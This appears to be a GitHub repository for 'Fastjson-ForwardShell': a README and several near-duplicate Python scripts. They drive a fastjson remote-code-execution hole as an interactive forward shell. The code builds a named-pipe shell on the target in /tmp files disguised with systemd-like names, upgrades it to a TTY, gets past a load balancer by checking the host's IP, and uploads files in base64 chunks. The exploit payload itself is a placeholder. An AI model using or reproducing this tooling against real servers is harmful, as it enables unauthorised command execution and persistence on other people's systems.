├── README.md ├── examples ├── fastjson-BypassLB.py └── fastjson-NOLB.py ├── fastjson-BypassLB.py └── fastjson-NoLB.py /README.md: -------------------------------------------------------------------------------- 1 | # Fastjson-ForwardShell 2 | Breaking fastjson with forward shell 3 | 4 | ### Original repository from: [IppSec's Forward-shell](https://github.com/IppSec/forward-shell) 5 | 6 | # Table of content 7 | 8 | * [Overview](#overview) 9 | * [Usage](#usage) 10 | * [Screenshots](#screenshots) 11 | * [References](#references) 12 | 13 | ## Overview 14 | 15 | - fastjson-BypassLB.py 16 | 17 | LB means load balancing, some website has fastjson RCE vulnerability which is handling by Nginx load balancing, also with internet inaccessible (freaking annoy). 18 | 19 | (I used it when I joining chinese cyber storm.) 20 | 21 | - fastjson-NoLB.py 22 | 23 | Means no bypass load balancing function in this script. 24 | 25 | ## Usage 26 | 27 | - Upgrade (spawn forward TTY shell) 28 | - Upload (only fastjson-BypassLB.py has this function) 29 | 30 | ## Screenshots 31 | 32 | - fastjson-BypassLB.py 33 | 34 | Upload file under internet inaccessible 35 | 36 | ![testaaaa](https://user-images.githubusercontent.com/30458572/169448359-9a4cd8b5-f2fa-4a49-adbb-204b68f87c75.png) 37 | 38 | ## References 39 | 40 | - https://github.com/IppSec/forward-shell 41 | -------------------------------------------------------------------------------- /examples/fastjson-BypassLB.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import base64 4 | from cgi import print_environ 5 | from email.mime import base 6 | import random 7 | import re 8 | from commonmark import ReStructuredTextRenderer 9 | import requests 10 | import threading 11 | import hashlib 12 | import tqdm 13 | import time 14 | from urllib3.exceptions import InsecureRequestWarning 15 | 16 | # Suppress only the single warning from urllib3 needed. 17 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 18 | class WebShell(object): 19 | 20 | # Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp 21 | def __init__(self, interval=1.3): 22 | # MODIFY THIS, URL 23 | session = random.randrange(10000,99999) 24 | print(f"[*] Session ID: {session}") 25 | self.stdin = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df11-{session}' 26 | self.stdout = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df01-{session}' 27 | self.interval = interval 28 | 29 | print("[*] Setting up fifo shell on target") 30 | MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}" 31 | self.RunRawCmd(MakeNamedPipes, timeout=0.1) 32 | 33 | def ReadThread(self): 34 | GetOutput = f"cat {self.stdout}" 35 | while True: 36 | result = self.RunRawCmd(GetOutput) #, proxy=None) 37 | if result: 38 | print(result) 39 | ClearOutput = f'echo -n "" > {self.stdout}' 40 | self.RunRawCmd(ClearOutput) 41 | time.sleep(self.interval) 42 | 43 | # Execute Command. 44 | def RunRawCmd(self, cmd, upload=False, timeout=50): 45 | proxies = { 46 | "http":"http://127.0.0.1:8080", 47 | "https":"http://127.0.0.1:8080" 48 | } 49 | 50 | url = "https://vulnerable.website/queryConditionListByPage" 51 | 52 | # Convert command result to base64 53 | if upload == False: 54 | cmd = cmd + "| base64" 55 | else: 56 | cmd = cmd 57 | 58 | # Headers 59 | headers = { 60 | "Authorization":token, 61 | "cmd":cmd, 62 | } 63 | 64 | #Payload 65 | payload = r"""Put your fastjson payload here""" 66 | 67 | try: 68 | r = requests.post(url=url, headers=headers, data=payload, timeout=10 ,verify=False) 69 | except: 70 | pass 71 | else: 72 | if "token已失效!" in r.text: 73 | print("[-] token已失效!") 74 | elif "uploaded" in r.text: 75 | return "Done" 76 | else: 77 | try: 78 | return(base64.b64decode(r.text).decode('utf-8')) 79 | except: 80 | pass 81 | 82 | # Send b64'd command to RunRawCommand 83 | def WriteCmd(self, cmd): 84 | b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8') 85 | stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}' 86 | self.RunRawCmd(stage_cmd) 87 | time.sleep(self.interval * 1.1) 88 | 89 | def UpgradeShell(self): 90 | # upgrade shell 91 | UpgradeShell = """script -qc /bin/bash /dev/null""" 92 | self.WriteCmd(UpgradeShell) 93 | 94 | def bypass_LoadBalancing(self, cmd, normal=True): 95 | #ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then echo "hello";fi 96 | #172.29.121.27 97 | cmd_LB = r"""ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then """ + cmd + r" || echo && echo [+] Bypass load balancing ;fi" 98 | 99 | cmd_LB2 = r"""ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then """ + cmd + r" && echo uploaded ;fi" 100 | while True: 101 | if normal == True: 102 | result = self.RunRawCmd(cmd=cmd_LB) 103 | if result != None: 104 | print(result) 105 | break 106 | else: 107 | result = self.RunRawCmd(cmd=cmd_LB2, upload=True) 108 | if result == "Done": 109 | break 110 | 111 | def upload(self,local_file): 112 | remote_path="/tmp/" 113 | remote_file_b64 = remote_path + local_file+".b64" 114 | remote_file = remote_path + local_file 115 | print("Uploading "+local_file+" to "+remote_path) 116 | cmd = f"touch {remote_file_b64}" 117 | self.bypass_LoadBalancing(cmd) 118 | print("[+] File created under avoid LB") 119 | 120 | with open(local_file, 'rb') as f: 121 | data = f.read() 122 | #md5sum = hashlib.md5(data).hexdigest() 123 | """ 124 | string = "StackOverflow" 125 | output = base64.urlsafe_b64encode(hashlib.sha256(string.encode("utf-8")).hexdigest().encode("utf-8")) 126 | print(str(output)) 127 | """ 128 | #b64enc_data = b"".join(base64.urlsafe_b64encode(hashlib.sha256(data.encode("utf-8")).hexdigest().encode("utf-8"))) 129 | #b64enc_data = b"".join(base64.urlsafe_b64encode(data).split()).decode() 130 | b64enc_data = b"".join(base64.b64encode(data).split()).decode() 131 | #print(b64enc_data) 132 | 133 | print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") 134 | BUFFER_SIZE = 5*1024 135 | for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): 136 | cmd = 'echo -n "'+ b64enc_data[i:i+BUFFER_SIZE]+'" >> ' + remote_file_b64 137 | #status = self.RunRawCmd(cmd, upload=True) 138 | #print(status) 139 | self.bypass_LoadBalancing(cmd,normal=False) 140 | print("[+] File Uploading with avoid load balancing") 141 | 142 | cmd = f"cat {remote_file_b64} | base64 -d > {remote_file}" 143 | self.bypass_LoadBalancing(cmd) 144 | print("[+] Upload finished") 145 | 146 | prompt = "Fastjson> " 147 | S = WebShell() 148 | while True: 149 | cmd = input(prompt) 150 | if cmd == "upgrade": 151 | prompt = "" 152 | S.UpgradeShell() 153 | elif cmd == "upload": 154 | local_file = input("[+] local file: ") 155 | S.upload(local_file) 156 | else: 157 | if cmd == '': 158 | print("[-] Error input") 159 | else: 160 | S.bypass_LoadBalancing(cmd) 161 | -------------------------------------------------------------------------------- /examples/fastjson-NOLB.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import base64 4 | from email.mime import base 5 | import random 6 | import re 7 | import requests 8 | import threading 9 | import time 10 | from urllib3.exceptions import InsecureRequestWarning 11 | 12 | # Suppress only the single warning from urllib3 needed. 13 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 14 | class WebShell(object): 15 | 16 | # Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp 17 | def __init__(self, interval=1.3): 18 | # MODIFY THIS, URL 19 | session = random.randrange(10000,99999) 20 | print(f"[*] Session ID: {session}") 21 | self.stdin = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df11-{session}' 22 | self.stdout = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df01-{session}' 23 | self.interval = interval 24 | 25 | print("[*] Setting up fifo shell on target") 26 | MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}" 27 | self.RunRawCmd(MakeNamedPipes, timeout=0.1) 28 | 29 | def ReadThread(self): 30 | GetOutput = f"cat {self.stdout}" 31 | while True: 32 | result = self.RunRawCmd(GetOutput) #, proxy=None) 33 | if result: 34 | print(result) 35 | ClearOutput = f'echo -n "" > {self.stdout}' 36 | self.RunRawCmd(ClearOutput) 37 | time.sleep(self.interval) 38 | 39 | # Execute Command. 40 | def RunRawCmd(self, cmd, timeout=10, clean=False): 41 | if clean == True: 42 | cmd = cmd 43 | else: 44 | cmd = cmd + " && cat %s | base64 "%self.stdout 45 | 46 | url = "https://vulnerable.website/queryConditionListByPage" 47 | 48 | # Headers 49 | headers = { 50 | "Authorization":token, 51 | "cmd":cmd, 52 | } 53 | 54 | #Payload 55 | payload = r"""Put your fastjson payload here""" 56 | try: 57 | r = requests.post(url=url, headers=headers, data=payload, timeout=timeout ,verify=False) 58 | except: 59 | pass 60 | else: 61 | if "token已失效!" in r.text: 62 | print("[-] token已失效!") 63 | else: 64 | try: 65 | return (base64.b64decode(r.text).decode('utf-8')) 66 | except: 67 | pass 68 | #print("[+] Command probably successed!") 69 | 70 | # Send b64'd command to RunRawCommand 71 | def WriteCmd(self, cmd): 72 | b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8') 73 | stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}' 74 | #print(stage_cmd) 75 | result = self.RunRawCmd(stage_cmd) 76 | return result 77 | time.sleep(self.interval * 1.1) 78 | 79 | def cleanStdOut(self): 80 | ClearOutput = f'echo -n "" > {self.stdout}' 81 | self.RunRawCmd(ClearOutput, clean=True) 82 | 83 | def UpgradeShell(self): 84 | # upgrade shell 85 | UpgradeShell_Stage1 = """python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null""" 86 | self.WriteCmd(UpgradeShell_Stage1) 87 | 88 | UpgradeShell_Stage2 = """export TERM=xterm && stty rows 61 cols 207""" 89 | self.WriteCmd(UpgradeShell_Stage2) 90 | 91 | prompt = "Fastjson> " 92 | S = WebShell() 93 | while True: 94 | cmd = input(prompt) 95 | if cmd == "upgrade": 96 | prompt = "" 97 | S.UpgradeShell() 98 | else: 99 | result = S.WriteCmd(cmd) 100 | if result is None: 101 | result = S.WriteCmd(cmd) 102 | else: 103 | print(result) 104 | S.cleanStdOut() 105 | 106 | #print(result) 107 | -------------------------------------------------------------------------------- /fastjson-BypassLB.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Original authors: ippsec, 0xdf 5 | # Modify by xiaolichan 6 | 7 | import base64 8 | from cgi import print_environ 9 | from email.mime import base 10 | import random 11 | import re 12 | from commonmark import ReStructuredTextRenderer 13 | import requests 14 | import threading 15 | import hashlib 16 | import tqdm 17 | import time 18 | from urllib3.exceptions import InsecureRequestWarning 19 | 20 | # Suppress only the single warning from urllib3 needed. 21 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 22 | class WebShell(object): 23 | 24 | # Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp 25 | def __init__(self, interval=1.3): 26 | # MODIFY THIS, URL 27 | session = random.randrange(10000,99999) 28 | print(f"[*] Session ID: {session}") 29 | self.stdin = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df11-{session}' 30 | self.stdout = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df01-{session}' 31 | self.interval = interval 32 | 33 | print("[*] Setting up fifo shell on target") 34 | MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}" 35 | self.RunRawCmd(MakeNamedPipes, timeout=0.1) 36 | 37 | def ReadThread(self): 38 | GetOutput = f"cat {self.stdout}" 39 | while True: 40 | result = self.RunRawCmd(GetOutput) #, proxy=None) 41 | if result: 42 | print(result) 43 | ClearOutput = f'echo -n "" > {self.stdout}' 44 | self.RunRawCmd(ClearOutput) 45 | time.sleep(self.interval) 46 | 47 | # Execute Command. 48 | def RunRawCmd(self, cmd, upload=False, timeout=50): 49 | proxies = { 50 | "http":"http://127.0.0.1:8080", 51 | "https":"http://127.0.0.1:8080" 52 | } 53 | token="" 54 | url = "" 55 | if upload == False: 56 | cmd = cmd + "| base64" 57 | else: 58 | cmd = cmd 59 | headers = { 60 | 61 | } 62 | payload = r"""""" 63 | try: 64 | r = requests.post(url=url, headers=headers, data=payload, timeout=10 ,verify=False) 65 | except: 66 | pass 67 | else: 68 | if "token已失效!" in r.text: 69 | print("[-] token expired") 70 | elif "uploaded" in r.text: 71 | return "Done" 72 | else: 73 | try: 74 | return(base64.b64decode(r.text).decode('utf-8')) 75 | except: 76 | pass 77 | 78 | # Send b64'd command to RunRawCommand 79 | def WriteCmd(self, cmd): 80 | b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8') 81 | stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}' 82 | self.RunRawCmd(stage_cmd) 83 | time.sleep(self.interval * 1.1) 84 | 85 | def UpgradeShell(self): 86 | # upgrade shell 87 | UpgradeShell = """script -qc /bin/bash /dev/null""" 88 | self.WriteCmd(UpgradeShell) 89 | 90 | def bypass_LoadBalancing(self, cmd, normal=True): 91 | # ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then echo "hello";fi 92 | # Execute command when ip addr = 172.29.121.29 93 | # cmd_LB = r"""ip=$(ifconfig lo | grep netmask | awk '{print $2}') && if [ $ip == "127.0.0.1" ]; then """ + cmd + r" || echo && echo [+] Bypass load balancing ;fi" 94 | cmd_LB = r"""ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then """ + cmd + r" || echo && echo [+] Bypass load balancing ;fi" 95 | 96 | # cmd_LB2 = r"""ip=$(ifconfig lo | grep netmask | awk '{print $2}') && if [ $ip == "127.0.0.1" ]; then """ + cmd + r" && echo uploaded ;fi" 97 | cmd_LB2 = r"""ip=$(ifconfig eth0 | grep netmask | awk '{print $2}') && if [ $ip == "172.29.121.29" ]; then """ + cmd + r" && echo uploaded ;fi" 98 | while True: 99 | if normal == True: 100 | result = self.RunRawCmd(cmd=cmd_LB) 101 | if result != None: 102 | print(result) 103 | break 104 | else: 105 | result = self.RunRawCmd(cmd=cmd_LB2, upload=True) 106 | if result == "Done": 107 | break 108 | 109 | def upload(self,local_file): 110 | remote_path="/tmp/" 111 | remote_file_b64 = remote_path + local_file+".b64" 112 | remote_file = remote_path + local_file 113 | print("Uploading "+local_file+" to "+remote_path) 114 | cmd = f"touch {remote_file_b64}" 115 | self.bypass_LoadBalancing(cmd) 116 | print("[+] File created under avoid LB") 117 | 118 | with open(local_file, 'rb') as f: 119 | data = f.read() 120 | b64enc_data = b"".join(base64.b64encode(data).split()).decode() 121 | 122 | print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") 123 | BUFFER_SIZE = 5*1024 124 | for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): 125 | cmd = 'echo -n "'+ b64enc_data[i:i+BUFFER_SIZE]+'" >> ' + remote_file_b64 126 | self.bypass_LoadBalancing(cmd,normal=False) 127 | print("[+] File Uploading with avoid load balancing") 128 | 129 | cmd = f"cat {remote_file_b64} | base64 -d > {remote_file}" 130 | self.bypass_LoadBalancing(cmd) 131 | print("[+] Upload finished") 132 | 133 | prompt = "Fastjson> " 134 | S = WebShell() 135 | while True: 136 | cmd = input(prompt) 137 | if cmd == "upgrade": 138 | prompt = "" 139 | S.UpgradeShell() 140 | elif cmd == "upload": 141 | local_file = input("[+] local file: ") 142 | S.upload(local_file) 143 | else: 144 | if cmd == '': 145 | print("[-] Error input") 146 | else: 147 | S.bypass_LoadBalancing(cmd) 148 | -------------------------------------------------------------------------------- /fastjson-NoLB.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Original authors: ippsec, 0xdf 5 | # Modify by xiaolichan 6 | 7 | import base64 8 | from email.mime import base 9 | import random 10 | import re 11 | import requests 12 | import threading 13 | import time 14 | from urllib3.exceptions import InsecureRequestWarning 15 | 16 | # Suppress only the single warning from urllib3 needed. 17 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 18 | class WebShell(object): 19 | 20 | # Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp 21 | def __init__(self, interval=1.3): 22 | # MODIFY THIS, URL 23 | session = random.randrange(10000,99999) 24 | print(f"[*] Session ID: {session}") 25 | self.stdin = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df11-{session}' 26 | self.stdout = f'/tmp/systemd-0a48ae431dc94b45a6d2b2f7c665df01-{session}' 27 | self.interval = interval 28 | 29 | print("[*] Setting up fifo shell on target") 30 | MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}" 31 | self.RunRawCmd(MakeNamedPipes, timeout=0.1) 32 | 33 | def ReadThread(self): 34 | GetOutput = f"cat {self.stdout}" 35 | while True: 36 | result = self.RunRawCmd(GetOutput) #, proxy=None) 37 | if result: 38 | print(result) 39 | ClearOutput = f'echo -n "" > {self.stdout}' 40 | self.RunRawCmd(ClearOutput) 41 | time.sleep(self.interval) 42 | 43 | # Execute Command. 44 | def RunRawCmd(self, cmd, timeout=10, clean=False): 45 | if clean == True: 46 | cmd = cmd 47 | else: 48 | cmd = cmd + " && cat %s | base64 "%self.stdout 49 | 50 | token="" 51 | url = "" 52 | headers = { 53 | } 54 | payload = r"""""" 55 | try: 56 | r = requests.post(url=url, headers=headers, data=payload, timeout=timeout ,verify=False) 57 | except: 58 | pass 59 | else: 60 | if "token已失效!" in r.text: 61 | print("[-] token expired") 62 | else: 63 | try: 64 | return (base64.b64decode(r.text).decode('utf-8')) 65 | except: 66 | pass 67 | #print("[+] Command probably successed!") 68 | 69 | # Send b64'd command to RunRawCommand 70 | def WriteCmd(self, cmd): 71 | b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8') 72 | stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}' 73 | #print(stage_cmd) 74 | result = self.RunRawCmd(stage_cmd) 75 | return result 76 | time.sleep(self.interval * 1.1) 77 | 78 | def cleanStdOut(self): 79 | ClearOutput = f'echo -n "" > {self.stdout}' 80 | self.RunRawCmd(ClearOutput, clean=True) 81 | 82 | def UpgradeShell(self): 83 | # upgrade shell 84 | UpgradeShell_Stage1 = """python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null""" 85 | self.WriteCmd(UpgradeShell_Stage1) 86 | 87 | UpgradeShell_Stage2 = """export TERM=xterm && stty rows 61 cols 207""" 88 | self.WriteCmd(UpgradeShell_Stage2) 89 | 90 | prompt = "Fastjson> " 91 | S = WebShell() 92 | while True: 93 | cmd = input(prompt) 94 | if cmd == "upgrade": 95 | prompt = "" 96 | S.UpgradeShell() 97 | else: 98 | result = S.WriteCmd(cmd) 99 | if result is None: 100 | result = S.WriteCmd(cmd) 101 | else: 102 | print(result) 103 | S.cleanStdOut() 104 | --------------------------------------------------------------------------------